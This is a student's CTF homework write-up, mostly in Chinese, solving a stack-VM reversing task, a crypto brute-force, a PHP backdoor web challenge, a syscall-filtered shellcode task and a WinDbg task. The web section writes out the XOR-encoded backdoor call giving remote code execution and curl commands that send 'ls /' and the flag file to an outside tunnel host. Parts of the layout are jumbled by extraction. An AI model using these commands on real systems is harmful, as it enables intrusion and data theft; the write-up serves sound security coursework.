# Computer Security 2019 Fall Hw0 Write-Up

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# m4chine

rev

# FLAG{W0w\_BiiiiiiiG\_SiZe3e3!}

反組釋.pyc檔,看出它是一連串對stack的操作 並用機器碼表示,每兩個BYTE一組 第一個BYTE代表指令 (0:add, 1:cmp, 2:context, 3:empty, 6:pop, 7:push, 8:sub, 9:terminal) 第二個BYTE代表參數

先把那一串機器碼轉成可讀的指令:

```
# || sub 0
  || push 8
# || add 0
  || cmp 100
  || terminal 0
   || add 0
  || cmp 52
#
  || terminal 0
#
  || push 51
#
  || push 1
#
  || push 51
#
  || sub 0
  || add 0
  || cmp 101
#
#
  || terminal 0
#
  || add 0
#
  || sub 0
  || push 99
  || add 0
#
#
  || cmp 0
  || terminal 0
#
#
  || add 0
  || push 52
#
  || sub 0
#
  || cmp 0
#
  || terminal 0
#
  || pop 0
  || cmp 101
#
  || terminal 0
#
  || pop 0
  || push 90
#
#
  || sub 0
  || cmp 0
#
  || terminal 0
#
   || push 104
#
  || add 0
#
  || sub 0
  || cmp 0
#
  || terminal 0
#
  || pop 0
#
  || push 83
#
  || sub 0
#
  || cmp 0
#
  || terminal 0
#
   || pop 0
  || push 95
#
  || sub 0
  || cmp 0
#
  || terminal 0
#
  || pop 0
#
  || push 71
  || sub 0
#
  || cmp 0
#
  || terminal 0
#
  || add 0
#
  || cmp 106
  || terminal 0
#
  || add 0
#
  || cmp 106
#
  || terminal 0
# || add 0
```

# || cmp 106

```
|| terminal 0
  || add 0
  || cmp 106
#
  || terminal 0
   || add 0
  || cmp 106
  || terminal 0
  || add 0
  || cmp 106
#
  || terminal 0
#
  || add 0
#
  || cmp 106
  || terminal 0
#
  || add 0
#
   || cmp 106
#
  || terminal 0
  || add 0
  || cmp 67
#
  || terminal 0
#
  || pop 0
#
  || push 0
  || push 1
#
  || add 0
#
   || push 2
   || add 0
#
  || push 3
  || add 0
#
  || push 4
#
  || add 0
#
  || push 5
#
  || add 0
  || push 6
#
  || add 0
#
   || push 7
#
   || add 0
#
  || push 8
  || add 0
#
  || push 9
#
   || add 0
#
  || push 10
#
  || add 0
  || push 11
#
  || add 0
#
   || push 12
#
  || add 0
#
  || push 13
  || add 0
#
#
  || push 4
#
  || add 0
#
  || sub 0
  || cmp 0
  || terminal 0
#
  || pop 0
   || cmp 119
#
  || terminal 0
  || pop 0
#
  || cmp 48
  || terminal 0
#
#
  || add 0
  || add 0
#
  || add 0
  || add 0
```

|| add 0

```
# || add 0
# || push 19
# || add 0
# || cmp 0
# || terminal 0
```

看出中途有多次檢查stack top,不符合指定的值就結束 flag就是初始的stack,使得每次檢查都通過

## solution

先試出flag長度為29時,最後stack會清空 接著把初始stack設為 [0] 到 [28] 的字串作placeholder 把add, sub等指令改為對字串作操作,結果會像是 [0]+[1] [0]-[1] 把cmp指令輸出,結果如下:(有括號的地方只有一個,人工處理)

```
cmp 8+[28]-[27] == 100
cmp 1+[26] == 52
cmp 51-1+51 == 101
cmp 99+1+1-[25] == 0
cmp 52-1+[24] == 0 ( should be 52-(1+[24]) )
cmp [23] == 101
cmp 90-[22] == 0
cmp 104+1-[21] == 0
cmp 83-[20] == 0
cmp 95-[19] == 0
cmp 71-[18] == 0
cmp 1+[17] == 106
cmp 1+[16] == 106
cmp 1+[15] == 106
cmp 1+[14] == 106
cmp 1+[13] == 106
cmp 1+[12] == 106
cmp 1+[11] == 106
cmp 1+[10] == 106
cmp 1+[9] == 67
cmp 4+13+12+11+10+9+8+7+6+5+4+3+2+1+0-[8] == 0
cmp [7] == 119
cmp [6] == 48
cmp 19+1+[5]+[4]+[3]+[2]+[1]+[0] == 0
```

猜flag[0:5] == 'FLAG{' 其它依序推出

## encrypt

## crypto

## FLAG{q6B3KviyaM}

看原始碼寫解密器,爆破key即可 assert E\*\*(I\*PI) + len(key) == 0 看出 key 為 0~255 但其實31就出來了  $(\because e^{i\pi} = -1 \rightarrow len(key) = 1)$ 

 $\mathcal{Q}$ 

```
0
FLAG{do_u_like_my_d0000000r?}
                                                                  \bigcirc
 $c=chr(substr_count($f[1],chr(32)));
 x=(substr(\$_GET[87],0,4)^{d00r}); x(\$("_\x50\x4f\x53\x54")\{$c\});
$c是檔案第二行的空白數,共35,對應到#
$x是要執行的函數名稱,4個字元,可以用 exec
這樣 $_GET[87] 就要傳 'exec' ^ 'd00r' => '\x01HU\x11'
${"_\x50\x4f\x53\x54"}{$c} 相當於 $_POST[$c] 會成為exec的參數
就有RCE了
開一個port監聽回來的資料
                                                                  Q
看到根目錄有 /flag_is_here
solution
ncat -l 8000 -k
ssh -R jojo.serveo.net:80:localhost:8000 serveo.net
HTTP Request: (it's more simple with Python)
method: POST
```

## shellc0de

pwn

# FLAG{5hellc0d1ng\_f0r\_5yscal1\_:P}

shellcode有擋掉 \x00 \x05 \x0f 這3個byte 也就是不能用 syscall 就把原本syscall的地方patch掉,在shellcode中動態改回來即可

url: http://edu-ctf.csie.org:10151/d00r.php?87=%01HU%11

data (first turn): # = curl http://jojo.serveo.net --data "\$(ls /)"

data (second turn): # = curl http://jojo.serveo.net --data "\$(cat /flag\_is\_here)"

## Winmagic

misc

## FLAG{WinDbg\_is\_very\_important\_in\_windows\_security}

有3個檔案: Winmagic.cpp Winmagic.exe Winmagic.pdb 使用Visual Studio (研究了很久)

- 1. 用VS開Winmagic.cpp
- 2. 執行Winmagic.exe
- 3. Debug -> Attach to Process -> Winmagic.exe
- 4. 在 if (password == input) 下斷點
  - 1. 會有警告
  - 2. (紅點) -> settings -> location -> allow the source code to be different from the original

- 5. Continue
- 6. 按每行左邊的綠色箭頭,直接跳到for迴圈
- 7. Continue